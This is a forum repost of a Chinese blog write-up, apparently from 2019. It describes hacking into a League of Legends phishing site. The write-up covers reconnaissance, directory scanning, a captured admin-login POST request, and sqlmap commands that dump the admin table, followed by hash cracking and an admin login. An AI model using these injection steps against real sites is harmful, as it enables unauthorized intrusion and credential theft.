搜索

[18493] 2019-10-22_当英雄联盟钓鱼网站遇到脚本黑客

文档创建者：s7ckTeam
浏览次数：9
最后更新：2025-01-18
2019-10-22_当英雄联盟钓鱼网站遇到脚本黑客 当 英 雄 联 盟 钓 鱼 网 站 遇 到 脚 本 黑 客 原 创   渣 渣 辉   H A C K 学 习 呀   2 0 1 9 - 1 0 - 2 2 下 午 打 开 Q Q 邮 箱 ， 居 然 多 了 一 封 钓 鱼 邮 件 应 该 是 群 发 的 钓 鱼 邮 件 < 鱼 叉 钓 鱼 > 详 细 了 解 h t t p s : / / b a i k e . b a i d u . c o m / i t e m / % E 9 % B 1 % B C % E 5 % 8 F % 8 9 % E 5 % B C % 8 F % E 7 % B D % 9 1 % E 7 % B B % 9 C % E 9 % 9 2 % 9 3 % E 9 % B 1 % B C / 1 6 7 6 3 8 6 9 ? f r = a l a d d i n 干 他 ！ ！ ！
网 址 是 w w w . x x x x . c o m
打 开 就 是 这 样 ， 直 接 弹 框 提 示 登 录 点 快 捷 登 录 是 无 效 的 ， 其 他 忘 记 密 码 ， 注 册 新 账 号 也 是 无 效 按 钮 思 路 1 : 前 台 这 里 输 入 框 可 以 试 试 X S S ， 运 气 好 可 以 插 到 管 理 员 的 后 台 地 址 和 C o o k i e 信 息 L O L 钓 鱼 网 站 无 疑 0 x 0 1 这 种 钓 鱼 小 站 那 就 常 规 当 信 息 收 集 走 一 波 爱 站 h t t p s : / / w w w . a i z h a n . c o m
反 查 了 下 注 册 人 和 邮 箱 ， 没 有 获 得 特 别 有 价 值 的 信 息 多 地 p i n g ， 无 c d n ， 也 不 是 X X 云 h t t p : / / p i n g . c h i n a z . c o m / 同 i p 域 名 查 询 h t t p s : / / s i t e . i p 1 3 8 . c o m /
i p 绑 定 的 域 名 这 个 i p 上 绑 定 了 好 几 个 域 名 ， 都 是 相 同 模 板 的 钓 鱼 页 面 云 悉 看 看 网 站 指 纹 信 息 h t t p : / / w w w . y u n s e e . c n /
N g i n x + P H P 环 境 0 x 0 2 扫 描 网 站 目 录 利 用 d i r s e a r c h 扫 描 了 下 目 录 ， 发 现 了 w w w . x x x . c n / h i s t o r y / 打 开 直 接 跳 后 台 地 址
思 路 1 : B u r p s u i t e 爆 破 后 台 账 号 密 码 思 路 2 : 测 试 这 里 是 不 是 有 S Q L 注 入 扫 端 口 只 开 了 8 0 端 口 0 x 0 3 验 证 思 路 先 验 证 S Q L 注 入 P S ： 这 种 无 验 证 码 的 后 台 ， 很 大 几 率 存 在 S Q L 注 入 漏 洞 B u r p s u i t e 抓 包
将 p o s t 包 保 存 为 1 . t x t ， 在 a d m i n 后 面 打 上 * 标 记 下 s q l m a p 要 跑 的 参 数 点 最 好 使 用 服 务 器 来 跑 注 入 ， 网 络 稳 定 且 速 度 快 开 始 测 试 注 入 ： 运 气 不 错 P O S T   / h i s t o r y / V e r i f i c a t i o n _ a d m i n . p h p   H T T P / 1 . 1 H o s t :   w w w . x x x x . c n C o n t e n t - L e n g t h :   3 0 C a c h e - C o n t r o l :   m a x - a g e = 0 O r i g i n :   h t t p : / / w w w . x x x x . c n U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 7 . 0 . 3 8 6 5 . 1 2 0   S a f a r i / 5 3 7 . 3 6 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , i m a g e / a p n g , * / * ; q = 0 . 8 , a p p l i c a t i o n / s i g n e d - e x c h a n g e ; v = b 3 R e f e r e r :   h t t p : / / w w w . x x x x . c n / h i s t o r y / l o g i n . p h p A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o o k i e :   P H P S E S S I D = e 3 1 r 5 g m p l 2 7 a c j t 4 f v g 4 8 k m 7 f 7 C o n n e c t i o n :   c l o s e u s e r n a m e = a d m i n * & p a s s w o r d = 1 2 3 4 5 6 s q l m a p   - r   1 . t x t   - - r a n d o m - a g e n t   - - d b s   - - l e v e l   3
跑 出 了 库 ， 接 着 跑 一 下 管 理 员 表 和 数 据 就 行 了 管 理 员 表 ： y u n x _ a d m i n s q l m a p   - r   1 . t x t   - - r a n d o m - a g e n t   - - l e v e l   3   - D   s q l x x x x   - - t a b l e s   - - b a t c h s q l m a p   - r   1 . t x t   - - l e v e l   3   - D   s q l x x x x   - T   y u n x _ a d m i n   - - d u m p   - - r a n d o m - a g e n t   - - b a t c h
账 号 密 码 h a s h 到 手 上 s o m d 5 , 成 功 解 开 了 h a s h 用 户 名 ： q a z x x x x 密 码 ： w x x x x x x 验 证 X S S ， 发 现 被 过 滤 了 ， 暂 时 不 管 验 证 后 台 后 台 爆 破 ， 都 有 账 户 密 码 了 ， 还 爆 破 个 毛 啊 ， 哈 哈 哈 0 x 0 4 成 功 登 录 后 台
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理